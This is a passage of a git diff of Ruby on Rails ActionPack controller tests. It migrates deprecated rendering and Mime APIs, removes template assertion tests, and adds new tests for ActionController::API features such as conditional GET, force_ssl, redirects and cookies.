assert_raise(ActiveSupport::TestCase::Assertion) do @@ -216,7 +204,10 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase with_routing do |set| set.draw do get 'admin/inner_module', :to => 'admin/inner_module#index', :as => :admin_inner_module - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end process :redirect_to_index # redirection is <{"action"=>"index", "controller"=>"admin/admin/inner_module"}> @@ -230,7 +221,10 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase with_routing do |set| set.draw do get '/action_pack_assertions/:id', :to => 'action_pack_assertions#index', :as => :top_level - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end process :redirect_to_top_level_named_route # assert_redirected_to "http://test.host/action_pack_assertions/foo" would pass because of exact match early return @@ -246,7 +240,10 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase set.draw do # this controller exists in the admin namespace as well which is the only difference from previous test get '/user/:id', :to => 'user#index', :as => :top_level - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end process :redirect_to_top_level_named_route # assert_redirected_to top_level_url('foo') would pass because of exact match early return @@ -304,14 +301,6 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase assert session.empty? end - def test_render_template_action - process :nothing - assert_template nil - - process :hello_world - assert_template 'hello_world' - end - def test_redirection_location process :redirect_internal assert_equal 'http://test.host/nothing', @response.redirect_url @@ -341,7 +330,7 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase def test_missing_response_code process :response404 - assert @response.missing? + assert @response.not_found? end def test_client_error_response_code @@ -369,12 +358,12 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase def test_successful_response_code process :nothing - assert @response.success? + assert @response.successful? end def test_response_object process :nothing - assert_kind_of ActionController::TestResponse, @response + assert_kind_of ActionDispatch::TestResponse, @response end def test_render_based_on_parameters @@ -455,192 +444,6 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase end end -class AssertTemplateTest < ActionController::TestCase - tests ActionPackAssertionsController - - def test_with_invalid_hash_keys_raises_argument_error - assert_raise(ArgumentError) do - assert_template foo: "bar" - end - end - - def test_with_partial - get :partial - assert_template :partial => '_partial' - end - - def test_file_with_absolute_path_success - get :render_file_absolute_path - assert_template :file => File.expand_path('../../../README.rdoc', __FILE__) - end - - def test_file_with_relative_path_success - get :render_file_relative_path - assert_template :file => 'README.rdoc' - end - - def test_with_file_failure - get :render_file_absolute_path - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template :file => 'test/hello_world' - end - - get :render_file_absolute_path - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template file: nil - end - end - - def test_with_nil_passes_when_no_template_rendered - get :nothing - assert_template nil - end - - def test_with_nil_fails_when_template_rendered - get :hello_world - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template nil - end - end - - def test_with_empty_string_fails_when_template_rendered - get :hello_world - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template "" - end - end - - def test_with_empty_string_fails_when_no_template_rendered - get :nothing - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template "" - end - end - - def test_passes_with_correct_string - get :hello_world - assert_template 'hello_world' - assert_template 'test/hello_world' - end - - def test_passes_with_correct_symbol - get :hello_world - assert_template :hello_world - end - - def test_fails_with_incorrect_string - get :hello_world - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template 'hello_planet' - end - end - - def test_fails_with_incorrect_string_that_matches - get :hello_world - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template 'est/he' - end - end - - def test_fails_with_repeated_name_in_path - get :hello_repeating_in_path - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template 'test/hello' - end - end - - def test_fails_with_incorrect_symbol - get :hello_world - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template :hello_planet - end - end - - def test_fails_with_incorrect_symbol_that_matches - get :hello_world - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template :"est/he" - end - end - - def test_fails_with_wrong_layout - get :render_with_layout - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template :layout => "application" - end - end - - def test_fails_expecting_no_layout - get :render_with_layout - assert_raise(ActiveSupport::TestCase::Assertion) do - assert_template :layout => nil - end - end - - def test_fails_expecting_not_known_layout - get :render_with_layout - assert_raise(ArgumentError) do - assert_template :layout => 1 - end - end - - def test_passes_with_correct_layout - get :render_with_layout - assert_template :layout => "layouts/standard" - end - - def test_passes_with_layout_and_partial - get :render_with_layout_and_partial - assert_template :layout => "layouts/standard" - end - - def test_passed_with_no_layout - get :hello_world - assert_template :layout => nil - end - - def test_passed_with_no_layout_false - get :hello_world - assert_template :layout => false - end - - def test_passes_with_correct_layout_without_layouts_prefix - get :render_with_layout - assert_template :layout => "standard" - end - - def test_passes_with_correct_layout_symbol - get :render_with_layout - assert_template :layout => :standard - end - - def test_assert_template_reset_between_requests - get :hello_world - assert_template 'test/hello_world' - - get :nothing - assert_template nil - - get :partial - assert_template partial: 'test/_partial' - - get :nothing - assert_template partial: nil - - get :render_with_layout - assert_template layout: 'layouts/standard' - - get :nothing - assert_template layout: nil - - get :render_file_relative_path - assert_template file: 'README.rdoc' - - get :nothing - assert_template file: nil - end -end - class ActionPackHeaderTest < ActionController::TestCase tests ActionPackAssertionsController diff --git a/actionpack/test/controller/api/conditional_get_test.rb b/actionpack/test/controller/api/conditional_get_test.rb new file mode 100644 index 0000000000..b4f1673be0 --- /dev/null +++ b/actionpack/test/controller/api/conditional_get_test.rb @@ -0,0 +1,57 @@ +require 'abstract_unit' +require 'active_support/core_ext/integer/time' +require 'active_support/core_ext/numeric/time' + +class ConditionalGetApiController < ActionController::API + before_action :handle_last_modified_and_etags, only: :two + + def one + if stale?(last_modified: Time.now.utc.beginning_of_day, etag: [:foo, 123]) + render plain: "Hi!" + end + end + + def two + render plain: "Hi!" + end + + private + + def handle_last_modified_and_etags + fresh_when(last_modified: Time.now.utc.beginning_of_day, etag: [ :foo, 123 ]) + end +end + +class ConditionalGetApiTest < ActionController::TestCase + tests ConditionalGetApiController + + def setup + @last_modified = Time.now.utc.beginning_of_day.httpdate + end + + def test_request_gets_last_modified + get :two + assert_equal @last_modified, @response.headers['Last-Modified'] + assert_response :success + end + + def test_request_obeys_last_modified + @request.if_modified_since = @last_modified + get :two + assert_response :not_modified + end + + def test_last_modified_works_with_less_than_too + @request.if_modified_since = 5.years.ago.httpdate + get :two + assert_response :success + end + + def test_request_not_modified + @request.if_modified_since = @last_modified + get :one + assert_equal 304, @response.status.to_i + assert @response.body.blank? + assert_equal @last_modified, @response.headers['Last-Modified'] + end +end diff --git a/actionpack/test/controller/api/data_streaming_test.rb b/actionpack/test/controller/api/data_streaming_test.rb new file mode 100644 index 0000000000..0e7d97d1f4 --- /dev/null +++ b/actionpack/test/controller/api/data_streaming_test.rb @@ -0,0 +1,26 @@ +require 'abstract_unit' + +module TestApiFileUtils + def file_path() File.expand_path(__FILE__) end + def file_data() @data ||= File.open(file_path, 'rb') { |f| f.read } end +end + +class DataStreamingApiController < ActionController::API + include TestApiFileUtils + + def one; end + def two + send_data(file_data, {}) + end +end + +class DataStreamingApiTest < ActionController::TestCase + include TestApiFileUtils + tests DataStreamingApiController + + def test_data + response = process('two') + assert_kind_of String, response.body + assert_equal file_data, response.body + end +end diff --git a/actionpack/test/controller/api/force_ssl_test.rb b/actionpack/test/controller/api/force_ssl_test.rb new file mode 100644 index 0000000000..8578340d82 --- /dev/null +++ b/actionpack/test/controller/api/force_ssl_test.rb @@ -0,0 +1,20 @@ +require 'abstract_unit' + +class ForceSSLApiController < ActionController::API + force_ssl + + def one; end + def two + head :ok + end +end + +class ForceSSLApiTest < ActionController::TestCase + tests ForceSSLApiController + + def test_redirects_to_https + get :two + assert_response 301 + assert_equal "https://test.host/force_ssl_api/two", redirect_to_url + end +end diff --git a/actionpack/test/controller/api/implicit_render_test.rb b/actionpack/test/controller/api/implicit_render_test.rb new file mode 100644 index 0000000000..26f9cd8f78 --- /dev/null +++ b/actionpack/test/controller/api/implicit_render_test.rb @@ -0,0 +1,15 @@ +require 'abstract_unit' + +class ImplicitRenderAPITestController < ActionController::API + def empty_action + end +end + +class ImplicitRenderAPITest < ActionController::TestCase + tests ImplicitRenderAPITestController + + def test_implicit_no_content_response + get :empty_action + assert_response :no_content + end +end diff --git a/actionpack/test/controller/api/params_wrapper_test.rb b/actionpack/test/controller/api/params_wrapper_test.rb new file mode 100644 index 0000000000..53b3a0c3cc --- /dev/null +++ b/actionpack/test/controller/api/params_wrapper_test.rb @@ -0,0 +1,26 @@ +require 'abstract_unit' + +class ParamsWrapperForApiTest < ActionController::TestCase + class UsersController < ActionController::API + attr_accessor :last_parameters + + wrap_parameters :person, format: [:json] + + def test + self.last_parameters = params.except(:controller, :action).to_unsafe_h + head :ok + end + end + + class Person; end + + tests UsersController + + def test_specify_wrapper_name + @request.env['CONTENT_TYPE'] = 'application/json' + post :test, params: { 'username' => 'sikachu' } + + expected = { 'username' => 'sikachu', 'person' => { 'username' => 'sikachu' }} + assert_equal expected, @controller.last_parameters + end +end diff --git a/actionpack/test/controller/api/redirect_to_test.rb b/actionpack/test/controller/api/redirect_to_test.rb new file mode 100644 index 0000000000..18877c4b3a --- /dev/null +++ b/actionpack/test/controller/api/redirect_to_test.rb @@ -0,0 +1,19 @@ +require 'abstract_unit' + +class RedirectToApiController < ActionController::API + def one + redirect_to action: "two" + end + + def two; end +end + +class RedirectToApiTest < ActionController::TestCase + tests RedirectToApiController + + def test_redirect_to + get :one + assert_response :redirect + assert_equal "http://test.host/redirect_to_api/two", redirect_to_url + end +end diff --git a/actionpack/test/controller/api/renderers_test.rb b/actionpack/test/controller/api/renderers_test.rb new file mode 100644 index 0000000000..911a8144b2 --- /dev/null +++ b/actionpack/test/controller/api/renderers_test.rb @@ -0,0 +1,60 @@ +require 'abstract_unit' +require 'active_support/core_ext/hash/conversions' + +class RenderersApiController < ActionController::API + class Model + def to_json(options = {}) + { a: 'b' }.to_json(options) + end + + def to_xml(options = {}) + { a: 'b' }.to_xml(options) + end + end + + def one + render json: Model.new + end + + def two + render xml: Model.new + end + + def plain + render plain: 'Hi from plain', status: 500 + end + + def text + render text: 'Hi from text', status: 500 + end +end + +class RenderersApiTest < ActionController::TestCase + tests RenderersApiController + + def test_render_json + get :one + assert_response :success + assert_equal({ a: 'b' }.to_json, @response.body) + end + + def test_render_xml + get :two + assert_response :success + assert_equal({ a: 'b' }.to_xml, @response.body) + end + + def test_render_plain + get :plain + assert_response :internal_server_error + assert_equal('Hi from plain', @response.body) + end + + def test_render_text + assert_deprecated do + get :text + end + assert_response :internal_server_error + assert_equal('Hi from text', @response.body) + end +end diff --git a/actionpack/test/controller/api/url_for_test.rb b/actionpack/test/controller/api/url_for_test.rb new file mode 100644 index 0000000000..0d8691a091 --- /dev/null +++ b/actionpack/test/controller/api/url_for_test.rb @@ -0,0 +1,20 @@ +require 'abstract_unit' + +class UrlForApiController < ActionController::API + def one; end + def two; end +end + +class UrlForApiTest < ActionController::TestCase + tests UrlForApiController + + def setup + super + @request.host = 'www.example.com' + end + + def test_url_for + get :one + assert_equal "http://www.example.com/url_for_api/one", @controller.url_for + end +end diff --git a/actionpack/test/controller/api/with_cookies_test.rb b/actionpack/test/controller/api/with_cookies_test.rb new file mode 100644 index 0000000000..4491dc9002 --- /dev/null +++ b/actionpack/test/controller/api/with_cookies_test.rb @@ -0,0 +1,21 @@ +require 'abstract_unit' + +class WithCookiesController < ActionController::API + include ActionController::Cookies + + def with_cookies + render plain: cookies[:foobar] + end +end + +class WithCookiesTest < ActionController::TestCase + tests WithCookiesController + + def test_with_cookies + request.cookies[:foobar] = 'bazbang' + + get :with_cookies + + assert_equal 'bazbang', response.body + end +end diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb index f7ad8e5158..577a3d5800 100644 --- a/actionpack/test/controller/base_test.rb +++ b/actionpack/test/controller/base_test.rb @@ -13,7 +13,7 @@ end class NonEmptyController < ActionController::Base def public_action - render :nothing => true + head :ok end end @@ -29,7 +29,7 @@ end class OptionalDefaultUrlOptionsController < ActionController::Base def show - render nothing: true + head :ok end def default_url_options @@ -53,7 +53,7 @@ end class ActionMissingController < ActionController::Base def action_missing(action) - render :text => "Response for #{action}" + render plain: "Response for #{action}" end end @@ -93,6 +93,8 @@ end class ControllerInstanceTests < ActiveSupport::TestCase def setup @empty = EmptyController.new + @empty.set_request!(ActionDispatch::Request.empty) + @empty.set_response!(EmptyController.make_response!(@empty.request)) @contained = Submodule::ContainedEmptyController.new @empty_controllers = [@empty, @contained] end @@ -127,8 +129,6 @@ class PerformActionTest < ActionController::TestCase # a more accurate simulation of what happens in "real life". @controller.logger = ActiveSupport::Logger.new(nil) - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new @request.host = "www.nextangle.com" end @@ -175,7 +175,10 @@ class UrlOptionsTest < ActionController::TestCase with_routing do |set| set.draw do get 'from_view', :to => 'url_options#from_view', :as => :from_view - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :from_view, params: { route: "from_view_url" } @@ -209,7 +212,10 @@ class DefaultUrlOptionsTest < ActionController::TestCase with_routing do |set| set.draw do get 'from_view', :to => 'default_url_options#from_view', :as => :from_view - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :from_view, params: { route: "from_view_url" } @@ -226,7 +232,10 @@ class DefaultUrlOptionsTest < ActionController::TestCase scope("/:locale") do resources :descriptions end - get ':controller/:action' + + ActiveSupport::Deprecation.silence do + get ':controller/:action' + end end get :from_view, params: { route: "description_path(1)" } diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb index 2d6607041d..7faf3cd8c6 100644 --- a/actionpack/test/controller/caching_test.rb +++ b/actionpack/test/controller/caching_test.rb @@ -22,8 +22,6 @@ class FragmentCachingMetalTest < ActionController::TestCase @controller.perform_caching = true @controller.cache_store = @store @params = { controller: 'posts', action: 'index' } - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new @controller.params = @params @controller.request = @request @controller.response = @response @@ -52,8 +50,6 @@ class FragmentCachingTest < ActionController::TestCase @controller.perform_caching = true @controller.cache_store = @store @params = {:controller => 'posts', :action => 'index'} - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new @controller.params = @params @controller.request = @request @controller.response = @response @@ -166,6 +162,8 @@ class FunctionalCachingController < CachingController end def formatted_fragment_cached_with_variant + request.variant = :phone if params[:v] == "phone" + respond_to do |format| format.html.phone format.html @@ -174,6 +172,9 @@ class FunctionalCachingController < CachingController def fragment_cached_without_digest end + + def fragment_cached_with_options + end end class FunctionalFragmentCachingTest < ActionController::TestCase @@ -183,8 +184,6 @@ class FunctionalFragmentCachingTest < ActionController::TestCase @controller = FunctionalCachingController.new @controller.perform_caching = true @controller.cache_store = @store - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new end def test_fragment_caching @@ -219,6 +218,18 @@ CACHED assert_equal "<p>ERB</p>", @store.read("views/nodigest") end + def test_fragment_caching_with_options + time = Time.now + get :fragment_cached_with_options + assert_response :success + expected_body = "<body>\n<p>ERB</p>\n</body>\n" + + assert_equal expected_body, @response.body + Time.stub(:now, time + 11) do + assert_nil @store.read("views/with_options") + end + end + def test_render_inline_before_fragment_caching get :inline_fragment_cached assert_response :success @@ -268,9 +279,7 @@ CACHED def test_fragment_caching_with_variant - @request.variant = :phone - - get :formatted_fragment_cached_with_variant, format: "html" + get :formatted_fragment_cached_with_variant, format: "html", params: { v: :phone } assert_response :success expected_body = "<body>\n<p>PHONE</p>\n</body>\n" @@ -305,30 +314,42 @@ class CacheHelperOutputBufferTest < ActionController::TestCase def test_output_buffer output_buffer = ActionView::OutputBuffer.new controller = MockController.new - cache_helper = Object.new + cache_helper = Class.new do + def self.controller; end; + def self.output_buffer; end; + def self.output_buffer=; end; + end cache_helper.extend(ActionView::Helpers::CacheHelper) - cache_helper.expects(:controller).returns(controller).at_least(0) - cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0) - # if the output_buffer is changed, the new one should be html_safe and of the same type - cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0) - assert_nothing_raised do - cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + cache_helper.stub :controller, controller do + cache_helper.stub :output_buffer, output_buffer do + assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do + assert_nothing_raised do + cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + end + end + end end end def test_safe_buffer output_buffer = ActiveSupport::SafeBuffer.new controller = MockController.new - cache_helper = Object.new + cache_helper = Class.new do + def self.controller; end; + def self.output_buffer; end; + def self.output_buffer=; end; + end cache_helper.extend(ActionView::Helpers::CacheHelper) - cache_helper.expects(:controller).returns(controller).at_least(0) - cache_helper.expects(:output_buffer).returns(output_buffer).at_least(0) - # if the output_buffer is changed, the new one should be html_safe and of the same type - cache_helper.expects(:output_buffer=).with(responds_with(:html_safe?, true)).with(instance_of(output_buffer.class)).at_least(0) - assert_nothing_raised do - cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + cache_helper.stub :controller, controller do + cache_helper.stub :output_buffer, output_buffer do + assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do + assert_nothing_raised do + cache_helper.send :fragment_for, 'Test fragment name', 'Test fragment', &Proc.new{ nil } + end + end + end end end end @@ -352,6 +373,8 @@ class ViewCacheDependencyTest < ActionController::TestCase end class CollectionCacheController < ActionController::Base + attr_accessor :partial_rendered_times + def index @customers = [Customer.new('david', params[:id] || 1)] end @@ -361,14 +384,14 @@ class CollectionCacheController < ActionController::Base render 'index' end - def index_explicit_render + def index_explicit_render_in_controller @customers = [Customer.new('david', 1)] - render partial: 'customers/customer', collection: @customers + render partial: 'customers/customer', collection: @customers, cached: true end def index_with_comment @customers = [Customer.new('david', 1)] - render partial: 'customers/commented_customer', collection: @customers, as: :customer + render partial: 'customers/commented_customer', collection: @customers, as: :customer, cached: true end end @@ -377,33 +400,72 @@ class AutomaticCollectionCacheTest < ActionController::TestCase super @controller = CollectionCacheController.new @controller.perform_caching = true + @controller.partial_rendered_times = 0 @controller.cache_store = ActiveSupport::Cache::MemoryStore.new + ActionView::PartialRenderer.collection_cache = ActiveSupport::Cache::MemoryStore.new end def test_collection_fetches_cached_views get :index + assert_equal 1, @controller.partial_rendered_times + assert_customer_cached 'david/1', 'david, 1' - ActionView::PartialRenderer.expects(:collection_with_template).never get :index + assert_equal 1, @controller.partial_rendered_times end def test_preserves_order_when_reading_from_cache_plus_rendering get :index, params: { id: 2 } - get :index_ordered + assert_equal 1, @controller.partial_rendered_times + assert_select ':root', 'david, 2' + get :index_ordered + assert_equal 3, @controller.partial_rendered_times assert_select ':root', "david, 1\n david, 2\n david, 3" end def test_explicit_render_call_with_options - get :index_explicit_render + get :index_explicit_render_in_controller assert_select ':root', "david, 1" end def test_caching_works_with_beginning_comment get :index_with_comment + assert_equal 1, @controller.partial_rendered_times - ActionView::PartialRenderer.expects(:collection_with_template).never get :index_with_comment + assert_equal 1, @controller.partial_rendered_times + end + + private + def assert_customer_cached(key, content) + assert_match content, + ActionView::PartialRenderer.collection_cache.read("views/#{key}/7c228ab609f0baf0b1f2367469210937") + end +end + +class FragmentCacheKeyTestController < CachingController + attr_accessor :account_id + + fragment_cache_key "v1" + fragment_cache_key { account_id } +end + +class FragmentCacheKeyTest < ActionController::TestCase + def setup + super + @store = ActiveSupport::Cache::MemoryStore.new + @controller = FragmentCacheKeyTestController.new + @controller.perform_caching = true + @controller.cache_store = @store + end + + def test_fragment_cache_key + @controller.account_id = "123" + assert_equal 'views/v1/123/what a key', @controller.fragment_cache_key('what a key') + + @controller.account_id = nil + assert_equal 'views/v1//what a key', @controller.fragment_cache_key('what a key') end end diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb index 89667df3a4..c02607b55e 100644 --- a/actionpack/test/controller/content_type_test.rb +++ b/actionpack/test/controller/content_type_test.rb @@ -3,30 +3,30 @@ require 'abstract_unit' class OldContentTypeController < ActionController::Base # :ported: def render_content_type_from_body - response.content_type = Mime::RSS - render :text => "hello world!" + response.content_type = Mime[:rss] + render body: "hello world!" end # :ported: def render_defaults - render :text => "hello world!" + render body: "hello world!" end # :ported: def render_content_type_from_render - render :text => "hello world!", :content_type => Mime::RSS + render body: "hello world!", :content_type => Mime[:rss] end # :ported: def render_charset_from_body response.charset = "utf-16" - render :text => "hello world!" + render body: "hello world!" end # :ported: def render_nil_charset_from_body response.charset = nil - render :text => "hello world!" + render body: "hello world!" end def render_default_for_erb @@ -36,16 +36,16 @@ class OldContentTypeController < ActionController::Base end def render_change_for_builder - response.content_type = Mime::HTML + response.content_type = Mime[:html] render :action => "render_default_for_builder" end def render_default_content_types_for_respond_to respond_to do |format| - format.html { render :text => "hello world!" } - format.xml { render :action => "render_default_content_types_for_respond_to" } - format.js { render :text => "hello world!" } - format.rss { render :text => "hello world!", :content_type => Mime::XML } + format.html { render body: "hello world!" } + format.xml { render action: "render_default_content_types_for_respond_to" } + format.js { render body: "hello world!" } + format.rss { render body: "hello world!", content_type: Mime[:xml] } end end end @@ -64,68 +64,68 @@ class ContentTypeTest < ActionController::TestCase def test_render_defaults get :render_defaults assert_equal "utf-8", @response.charset - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:text], @response.content_type end def test_render_changed_charset_default with_default_charset "utf-16" do get :render_defaults assert_equal "utf-16", @response.charset - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:text], @response.content_type end end # :ported: def test_content_type_from_body get :render_content_type_from_body - assert_equal Mime::RSS, @response.content_type + assert_equal Mime[:rss], @response.content_type assert_equal "utf-8", @response.charset end # :ported: def test_content_type_from_render get :render_content_type_from_render - assert_equal Mime::RSS, @response.content_type + assert_equal Mime[:rss], @response.content_type assert_equal "utf-8", @response.charset end # :ported: def test_charset_from_body get :render_charset_from_body - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:text], @response.content_type assert_equal "utf-16", @response.charset end # :ported: def test_nil_charset_from_body get :render_nil_charset_from_body - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:text], @response.content_type assert_equal "utf-8", @response.charset, @response.headers.inspect end def test_nil_default_for_erb with_default_charset nil do get :render_default_for_erb - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:html], @response.content_type assert_nil @response.charset, @response.headers.inspect end end def test_default_for_erb get :render_default_for_erb - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:html], @response.content_type assert_equal "utf-8", @response.charset end def test_default_for_builder get :render_default_for_builder - assert_equal Mime::XML, @response.content_type + assert_equal Mime[:xml], @response.content_type assert_equal "utf-8", @response.charset end def test_change_for_builder get :render_change_for_builder - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:html], @response.content_type assert_equal "utf-8", @response.charset end @@ -144,24 +144,24 @@ class AcceptBasedContentTypeTest < ActionController::TestCase tests OldContentTypeController def test_render_default_content_types_for_respond_to - @request.accept = Mime::HTML.to_s + @request.accept = Mime[:html].to_s get :render_default_content_types_for_respond_to - assert_equal Mime::HTML, @response.content_type + assert_equal Mime[:html], @response.content_type - @request.accept = Mime::JS.to_s + @request.accept = Mime[:js].to_s get :render_default_content_types_for_respond_to - assert_equal Mime::JS, @response.content_type + assert_equal Mime[:js], @response.content_type end def test_render_default_content_types_for_respond_to_with_template - @request.accept = Mime::XML.to_s + @request.accept = Mime[:xml].to_s get :render_default_content_types_for_respond_to - assert_equal Mime::XML, @response.content_type + assert_equal Mime[:xml], @response.content_type end def test_render_default_content_types_for_respond_to_with_overwrite - @request.accept = Mime::RSS.to_s + @request.accept = Mime[:rss].to_s get :render_default_content_types_for_respond_to - assert_equal Mime::XML, @response.content_type + assert_equal Mime[:xml], @response.content_type end end diff --git a/actionpack/test/controller/default_url_options_with_before_action_test.rb b/actionpack/test/controller/default_url_options_with_before_action_test.rb index 230f40d7ad..12fbe0424e 100644 --- a/actionpack/test/controller/default_url_options_with_before_action_test.rb +++ b/actionpack/test/controller/default_url_options_with_before_action_test.rb @@ -6,7 +6,7 @@ class ControllerWithBeforeActionAndDefaultUrlOptions < ActionController::Base after_action { I18n.locale = "en" } def target - render :text => "final response" + render plain: "final response" end def redirect diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb index a1ce12a13e..08271012e9 100644 --- a/actionpack/test/controller/filters_test.rb +++ b/actionpack/test/controller/filters_test.rb @@ -13,16 +13,6 @@ class ActionController::Base filters.map!(&:raw_filter) end end - - def assigns(key = nil) - assigns = {} - instance_variables.each do |ivar| - next if ActionController::Base.protected_instance_variables.include?(ivar) - assigns[ivar[1..-1]] = instance_variable_get(ivar) - end - - key.nil? ? assigns : assigns[key.to_s] - end end class FilterTest < ActionController::TestCase @@ -50,7 +40,7 @@ class FilterTest < ActionController::TestCase before_action :ensure_login, :except => [:go_wild] def go_wild - render :text => "gobble" + render plain: "gobble" end end @@ -61,7 +51,7 @@ class FilterTest < ActionController::TestCase (1..3).each do |i| define_method "fail_#{i}" do - render :text => i.to_s + render plain: i.to_s end end @@ -232,7 +222,7 @@ class FilterTest < ActionController::TestCase skip_before_action :clean_up_tmp, only: :login, if: -> { true } def login - render text: 'ok' + render plain: 'ok' end end @@ -244,7 +234,7 @@ class FilterTest < ActionController::TestCase skip_before_action :clean_up_tmp, if: -> { true }, except: :login def login - render text: 'ok' + render plain: 'ok' end end @@ -268,11 +258,11 @@ class FilterTest < ActionController::TestCase before_action :ensure_login, :only => :index def index - render :text => 'ok' + render plain: 'ok' end def public - render :text => 'ok' + render plain: 'ok' end end @@ -282,7 +272,7 @@ class FilterTest < ActionController::TestCase before_action :ensure_login def index - render :text => 'ok' + render plain: 'ok' end private @@ -393,7 +383,7 @@ class FilterTest < ActionController::TestCase before_action(AuditFilter) def show - render :text => "hello" + render plain: "hello" end end @@ -431,11 +421,11 @@ class FilterTest < ActionController::TestCase before_action :second, :only => :foo def foo - render :text => 'foo' + render plain: 'foo' end def bar - render :text => 'bar' + render plain: 'bar' end protected @@ -452,7 +442,7 @@ class FilterTest < ActionController::TestCase before_action :choose %w(foo bar baz).each do |action| - define_method(action) { render :text => action } + define_method(action) { render plain: action } end private @@ -481,7 +471,7 @@ class FilterTest < ActionController::TestCase @ran_filter << 'between_before_all_and_after_all' end def show - render :text => 'hello' + render plain: 'hello' end end @@ -491,7 +481,7 @@ class FilterTest < ActionController::TestCase def around(controller) yield rescue ErrorToRescue => ex - controller.__send__ :render, :text => "I rescued this: #{ex.inspect}" + controller.__send__ :render, plain: "I rescued this: #{ex.inspect}" end end @@ -560,7 +550,7 @@ class FilterTest < ActionController::TestCase def test_after_actions_are_not_run_if_around_action_does_not_yield controller = NonYieldingAroundFilterController.new test_process(controller, "index") - assert_equal ["filter_one", "it didn't yield"], controller.assigns['filters'] + assert_equal ["filter_one", "it didn't yield"], controller.instance_variable_get(:@filters) end def test_added_action_to_inheritance_graph @@ -577,140 +567,141 @@ class FilterTest < ActionController::TestCase def test_running_actions test_process(PrependingController) - assert_equal %w( wonderful_life ensure_login ), assigns["ran_filter"] + assert_equal %w( wonderful_life ensure_login ), + @controller.instance_variable_get(:@ran_filter) end def test_running_actions_with_proc test_process(ProcController) - assert assigns["ran_proc_action"] + assert @controller.instance_variable_get(:@ran_proc_action) end def test_running_actions_with_implicit_proc test_process(ImplicitProcController) - assert assigns["ran_proc_action"] + assert @controller.instance_variable_get(:@ran_proc_action) end def test_running_actions_with_class test_process(AuditController) - assert assigns["was_audited"] + assert @controller.instance_variable_get(:@was_audited) end def test_running_anomolous_yet_valid_condition_actions test_process(AnomolousYetValidConditionController) - assert_equal %w( ensure_login ), assigns["ran_filter"] - assert assigns["ran_class_action"] - assert assigns["ran_proc_action1"] - assert assigns["ran_proc_action2"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) + assert @controller.instance_variable_get(:@ran_class_action) + assert @controller.instance_variable_get(:@ran_proc_action1) + assert @controller.instance_variable_get(:@ran_proc_action2) test_process(AnomolousYetValidConditionController, "show_without_action") - assert_nil assigns["ran_filter"] - assert !assigns["ran_class_action"] - assert !assigns["ran_proc_action1"] - assert !assigns["ran_proc_action2"] + assert_not @controller.instance_variable_defined?(:@ran_filter) + assert_not @controller.instance_variable_defined?(:@ran_class_action) + assert_not @controller.instance_variable_defined?(:@ran_proc_action1) + assert_not @controller.instance_variable_defined?(:@ran_proc_action2) end def test_running_conditional_options test_process(ConditionalOptionsFilter) - assert_equal %w( ensure_login ), assigns["ran_filter"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) end def test_running_conditional_skip_options test_process(ConditionalOptionsSkipFilter) - assert_equal %w( ensure_login ), assigns["ran_filter"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) end def test_if_is_ignored_when_used_with_only test_process(SkipFilterUsingOnlyAndIf, 'login') - assert_nil assigns['ran_filter'] + assert_not @controller.instance_variable_defined?(:@ran_filter) end def test_except_is_ignored_when_used_with_if test_process(SkipFilterUsingIfAndExcept, 'login') - assert_equal %w(ensure_login), assigns["ran_filter"] + assert_equal %w(ensure_login), @controller.instance_variable_get(:@ran_filter) end def test_skipping_class_actions test_process(ClassController) - assert_equal true, assigns["ran_class_action"] + assert_equal true, @controller.instance_variable_get(:@ran_class_action) skipping_class_controller = Class.new(ClassController) do skip_before_action ConditionalClassFilter end test_process(skipping_class_controller) - assert_nil assigns['ran_class_action'] + assert_not @controller.instance_variable_defined?(:@ran_class_action) end def 